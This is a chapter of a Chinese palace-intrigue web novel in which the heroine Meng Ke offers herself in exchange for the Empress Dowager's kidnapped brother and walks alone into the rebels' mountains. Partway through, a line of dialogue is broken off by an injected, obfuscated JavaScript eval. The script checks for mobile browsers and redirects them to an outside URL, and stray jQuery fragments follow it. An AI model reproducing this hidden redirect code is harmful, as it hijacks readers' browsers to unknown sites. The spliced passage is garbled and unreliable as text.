看着太后的背影，孟珂终于明白她为何会在并无绝对胜算的时候，冒险站在了他们这一边。不是他们站在对的那一面，不是她能言善辩说动太后，也不是太后赌输赢的气概，而是她一家饱受的战乱之苦，尝尽的流民之恶，是其生父如此惨烈悲壮的死，是守城数千忠魂的命，是始终活在那场乱事遗害之中的太后自己，早早决定了她的选择。


    “太后放心，”孟珂安慰道，“王晃跑不了，活必见人，死必见尸。”


    太后背着身，缓缓点了点头，比起认同，更像是一种决心。


    孟珂又道：“当年，想必是为了防止乱党余孽的报复，太后一家才隐姓埋名。”


    “没错。”太后望着城下，想起自己的母亲，露出了一个泛着柔情与敬意的笑意，还夹杂着劫后余生的庆幸，说道，“乱军恨我父亲入骨，母亲带着我隐姓埋名，四处躲藏，后来随继父改了姓，多年来从未暴露过身世。便是在我父亲从一个孤立无援的守将，成为大历人人皆知的英雄之后，也未敢向人透露分毫。若非母亲谨慎，我们只怕早就被余孽害死了，哪还有什么报仇雪恨之日？”


    太后徐徐转过身来，面色已经如旧，若不是眼里未散尽的红色和臃肿，几乎看不出来方才搅起过痛彻心扉的回忆。


    她看着孟珂，目光中多了些长姐式的怜爱：“你我二人也算有缘，家人都因这逆党而死。”


    太后看向城楼下的战场，虽不是尸山血海，却也相去不远了。田一甫的死士杀的杀，降的降，已经全数拿下。而杜忠不敌事先埋伏的守兵，节节败退，溃散逃入了京郊山里。


    她叹道：“这王晃的党羽不拔除干净，始终是我大历的心腹之患。”


    孟珂看了看城下的尸骸，又转头看向已经被盖了布的杜善瀛尸首，请旨道：“请太后允准，将杜善瀛的尸首挂于城头，散布消息说是梁家之女为父报仇。”


    “你是想引蛇出洞？”


    “没错。他的人散入山林之中，长则可以耗上几年，难以根除此患。”


    孟珂看向了太后，“他亲眼看见我烧死他父亲，早就想生啖我的血肉。不如再激他一把，将尸体挂于城头，设下陷阱。当然了，杜忠今夜已经元气大伤，但凡聪明点儿就不会真的去城头夺尸。可他总需要做点什么，不好让下面的人看他当缩头乌龟，什么都不敢坐，也做不了，那残兵只怕就各自逃散了。这时候，我就是最好的靶子。我不过一个弱质女流，找我这个仇人，比城头救父容易多了。”


    “不可！”周冶急急拦道，“你这样激怒他，只会置自己于危险之中。”


    孟珂看向了周冶，又道：“杜忠的人将王晃带走了，如今生死不知。他若侥幸留得命在，会对杜忠说什么呢？他们二人一旦联手，就更难对付了。与其等他们二人成虎，不如我们先发制人。”


    太后迟疑道：“主意倒是好主意，但是……你就不怕危险？”


    “怕什么？”孟珂笑笑，“梁家女儿，早在多年前就已经死了！”


    ***


    杜忠的报复，来得比孟珂想的还要快一些，不过，直接中招的却不是她。


    太后的幼弟杨玄臻被乱军抓了。


    而随着绑架消息一起来的是杜忠提的三个条件：一要恭恭敬敬地送还杜善瀛的尸首，二要赦免杜家之罪，放其出京，三则要交出孟珂，以报杀父之仇。


    消息一出，连孟珂也犯了嘀咕：“难道田一甫真的还没死？莫非是他给杜忠出的主意。”


    如此，他不用踏入救父和报仇的两重陷阱，却不愁换不来他想要的人。朝中人尽皆知，太后对自家那一弟一妹甚为疼爱，简直如亲子亲女一般。


    不过，很多时候，看似神来一笔的计划，往往只是纯属巧合的偶然——田一甫的确还没咽气，但杜忠军中大夫尽心医治之下，也还没醒；也不是杜忠那么聪明，而是纯属偶然。


    那杨玄臻本来在外游历。太后原本还想着，正值京中动荡之际，他不在京里反而安心些，特意去信嘱咐他多玩些日子，不要着急回京。谁料，他没收到信就已经启程回京了，路上听到了些京城动荡的消息，更快马加鞭地赶了回来，到了京郊就一头撞在了乱军手里。


    这少年防备了江湖险恶，却没防备“自己人”，看着官军打扮的兵士就自曝了身份，打探京城情况，结果被逮个正着。


    连杜忠自己都没想到，就在他左右为难之际，竟有这么只傻兔子一头撞进他手里，给了他实现所有诉求，还能全身而退的机会。


    抓到人那日，他在帐中大笑不已，直呼“拿酒来”，拉着杜三就要痛饮。


    “你说，太后是要自己儿子的江山稳固，还是要那当儿子一样疼爱的杨家独苗？这卢家是要这个外姓之女，还是要满门安危、一世荣宠？”


    杜三虽知道太后极其怜爱这幼弟，但不太明白，大哥到底哪来这么足的信心。孟珂毕竟是卢家从小养大的，跟自家的孩子也没多大区别了。他摸了摸屁股，那卢宽多维护这个妹妹，他是清楚的。


    “卢家如果不交出这小姐，自是完了，可他们若是舍了她呢？”杜三疑惑道。


    杜忠心情大好，看三弟迷惑的样子，笑道：“不管卢家交不交人，卢家和天家的梁子都算是结下了！”


    “卢家如果不交，拯救社稷之功，也抵不过不换幼弟之恨，卢家和太后从此便离了心。如果卢家交了出来，表面大义牺牲，可心中焉有不恨之理？卢家会不会想：拯救社稷又如何，他们是功臣之女、忠臣之后又如何，一样得给那个没有任何功绩的外戚填命。不只是卢家，朝野上下都会因此寒心，就连百姓也要戳天家的脊梁骨。“


    “若太后是个狠心的，便会选择要儿子的江山和天家的体面，舍了这疼爱的幼弟。可今日被逼无奈，含恨舍了杨家独苗，日后呢？如今用得着卢家的时候，她自然不能翻脸，但这个仇也就此结下了，报复是早晚的事。从此两方都要相互猜忌，只看谁先动手罢了。”


    “也就是说，大哥此计一出，他们都别无选择。”杜三听明白了，心上也凉了，后知后觉地叹道，“还好我没入朝堂，不然怎么死的都不知道。”


    杜忠瞄了他一眼，既嫌他在这样需要兄弟齐上阵的时候不顶事，却又因此可以放心大胆地把这个无害的弟弟带在身边，算是杜家家破人亡后的慰藉。


    “别那副衰样！”杜忠一把拍在他肩上，“今日是个好日子，端起酒来，咱们兄弟先痛饮三大杯！”


    杜三目光怯弱地看了他一眼，端起桌上的酒碗，同大哥一碰，不是滋味地喝了一口。


    ***


    外人只当太后是怜爱幼弟，知晓隐情的孟珂和周冶却知道，背后还有继父于太后母女的恩情。杨家这唯一的血脉，她非救不可。


    听到消息的第一时间，她就入了宫。既然必须要做，就要做得漂亮，不能等太后传召，让太后为难。


    见了太后，孟珂也不多言，开门见山就自请道：“臣女愿意去换。”


    太后却摇头道：“不行！我知你无有不愿的，可我不能让你冒这个险。朝廷已经欠了你梁家的，不能再让你这个孤女去换我那不成器的弟弟。此番是他的劫难，也只有由得他了。不能因他一人，就受叛军所挟。”


    “太后说得对！不可受叛军所挟！”


    两人看向门口，见是周冶。


    周冶猜到了她的想法，后她一步就入了宫。他向太后一礼，冒着得罪太后的风险直言道，“答应换人就是肉包子打狗，有去无回。更重要的是，此举会陷太后于不义之名，让天下人如何评说，重亲眷而轻功臣，因一己私情而废公义？让太后如何自处？”


    孟珂知道周冶是为她的安危计，可他这话一说，戳破了太后不能传召孟珂，也不能要求她去换人的那层窗户纸。


    她忙朝他挤了挤眼睛，阻止他说。但周冶没看见似的，仍继续道，“若你真能换回杨家小公子，冒险倒也罢了，可杜忠哪会守诺？我若是杜忠，就找个大军无法进入的险要之处，诓你进了山，将什么都笑纳了，就是不放人。你去，只是让他多一个人质而已。我们本就已经投鼠忌器，不敢强攻，何必再多一份顾忌？”


    孟珂说道：“此举并非只为换人。我想去，也不是指望他杜忠能信守诺放人，而是为了找到杜忠大营，早日剿灭叛军，还天下太平。”


    “我们怕的不是与之一战，而是他避而不战。如今，乱军化整为零，遁入山中，不好剿灭。待日子久了，他们再混入百姓，便更难了。兵法曰，制人而不制于人。我们不能等着被他调动，被动应付。太后定然也不愿看到叛军久踞山中，致使朝中人心惶惶。”


    “就算真的有那不明事理之人背后议论，我想，太后也不会介意为大义而舍虚名。待平定叛军，那些流言自然也会消散。”


    太后如何不知道，孟珂主动前来，乃至说这些，都是为了让自己不为难，不落口实，欣慰地看了她一眼。


    孟珂继续道，“我去换人，便可探听情况，弄清他主营在哪，人质关在哪，外面的大军才可有的放矢。”


    周冶承认道：“是，我们是需要探知情况，但军中有斥候，有武功高强之人，谁去也不该是你一个弱女子去。”


    “可只有我才肯定能被送到主营，见到杜忠。而我这样的弱女子，也最不会被他防备。”


    “可他最想杀的也是你。”


    “所以我才能靠他最近！”


    “那……那也可找个死囚，易容成你。”


    孟珂看着他：“死囚放出去后，要如何控制？就算用自己人，让杜忠发现假冒，会不会怒而杀……伤了人质？我们赌不起！”


    不论杜忠有没有发现假冒，但凡杨玄臻有所损伤，都会归因于此，那卢家和天家也就死结了。只有她去，哪怕杜忠送一只手或一条腿来，那也没有卢家的过错。


    这些不能摆上桌面的道理，周冶岂会不知？他只是不想让她去冒这份险。


    孟珂深深地看了他一眼，转头对太后一跪，大声请道：“请太后允准，送我入山换人。”


    太后扫了二人一眼，顿了顿，下了决定道：“准！”


    ***


    太后立刻命人去准备，周冶和孟珂到了偏殿暂歇。


    周冶看着她，拧紧了眉头，说道：“你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269113|193939||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说过，你只是个弱女子，天下的兴亡治乱不该在你的肩上。你不欠大历，也不欠黎民百姓。你过好自己的小日子，不给人添麻烦就好了，没责任去做这些要命的事！”


    孟珂笑了笑。


    “是啊，从这里走出去，不管天下，不顾卢家，只要过自己的小日子，于我最好。太后即便心中恨我，也不能光明正大地拦我。即便我这时候将这些一肩担了，甚至为此死了，天下又知道我是谁？黎庶万民能知道我是谁？我死以后，文武百官依旧拿自己的俸禄，谋自己的前程，真正痛的只会是自己最亲的几个人。就像当年我梁家之死一样。”


    她笑着慢慢摇头，“不划算的。非常不划算的。”


    “你说的都对，”孟珂抬眼看着周冶，“但是，这是最好的办法。我也想试试。”


    周冶一顿，生生将话都咽了下去，转过身去，道：“我送你去。”


    孟珂看着他的背影，上前捉着他的一只手臂，轻轻地道：“谢谢你。”


    待赎金和护送人马准备停当，孟珂一刻都不耽搁，直接便从宫里走了。


    太后亲自送到了城外。


    两辆马车并排停着。


    宫女掀开帘子，太后在马车里道：“你说得对，这不只是为了换人，更是为了早日平定此乱。你能为此舍命，我为何不能舍名。不论结果如何，我们都尽力就是。”


    孟珂点点头，待要放下帘子，太后突地朝窗外伸出手来：“孟珂！”


    孟珂忙也从马车窗伸出手去。太后握着她的手，动容地道：“你若因此殒命，算我……这个姐姐，替弟弟欠你的。”


    孟珂微微点头。待太后收回手去，马车走开，她才放下窗帘，掀开门帘，看了一眼马车前的两个禁军将领。


    正是周冶和卢宽。


    孟珂没有回府，也没有送信，就是不想让卢府的人知道甚至阻拦，因此与天家结下芥蒂。那她的所有努力，乃至可能的牺牲就白费了。但卢宽猜到了她必会前去，闻讯就去城门口杜善瀛的尸首处守着，果然等来了换人的队伍。


    他甚至都没去马车里确认一眼，便直接走到带队的禁军副统领面前，要求一起护送。那副统领那一夜在城楼上就同他并肩平过乱，认得他，于是请示之后，拿了套盔甲给他去换。他正好遇到已经换好了的周冶。


    两人一左一右护送在了孟珂的马车前。


    一阵风来，虽已夏初，竟莫名有了些萧瑟之感。


    马车起行，后面带着棺材，还有几大车金银，在兵马簇拥下浩浩荡荡地朝着京郊山林进发。


    到了山林边界之时，暮色将近。眼前重重叠叠的大山，就像一只猛虎，朝这队孤军张开了漆黑的大口。


    ***


    杜忠显然是盘算过的，打的就是让他们大军无法进来，而这队人进了山也施展不开的主意。


    等他们到了原定的交接位置，只看到一口空箱子，里面放了一张潦草画就的地图，指向了第二个地点。


    所有人都没期待过此行能顺利，已经走到了这儿，也只得继续往前进。


    等到了第二个地方，也只有一口空箱子。这次除了给地图，还指示他们将金银放下，继续前进。


    等到了第三个地点，这次没了地图，信中指示他们将棺材和杜家人放下，让杜家人抬着棺材走进林中，其他人在原地等待指示。


    太后早交代过，其他都可舍，最重要的就是人质。杜忠对于父亲尸首和杜家其他人等，也不是非要不可，不过是打造一个有情有义的人设而已。于是，副统领果断地照做了。


    约莫等杜家人消失得差不多了，追也追不上了，护送的队伍也等得不耐烦了，才有一支火箭射来，将一封信扎在了孟珂坐的马车上。


    这次，杜忠要求孟珂一个人拿着地图走到换人的地方。


    副统领这下犯了好大踌躇。杜忠压根都没让他们看到杨玄臻，这就要让孟珂去，回去该怎么交代？


    正犯难间，孟珂已经掀帘下车，从副统领手中拿过信来：“我们早就在叛军的包围中了，你们就是强留我在此，也不过是一起困死在这里而已，照样看不到杨玄臻。”


    她看了周冶和卢宽一眼，这两人谁都不吭声，是因为谁都知道她会怎么做。


    “就按他说的做，我会随机应变的。”


    说完，她抽出信中的地图，从一旁兵士手中拿过火把，又看了周卢二人一眼，便提步要向夜色中去。


    周冶急道：“你……”


    “等等！”卢宽同时道。


    孟珂转过身来，看向二人。


    卢宽问：“玉哨可带好了？”


    孟珂伸手从脖子里拉出来，向他一晃，又塞了回去。卢宽点了点头，不再多说。


    周冶看着她，勉强地笑着，只柔声说了句：“去吧。”


    要独自走进这黑暗的人是她，他帮不上，起码也不要在这个时候来动摇她。


    孟珂含笑点点头，转身就一头扎入了山林里。


    她那纤弱的背影，很快便消失在了黑暗中，周围山林中不时传来野兽的低吼尖鸣，格外地让人心惊胆寒。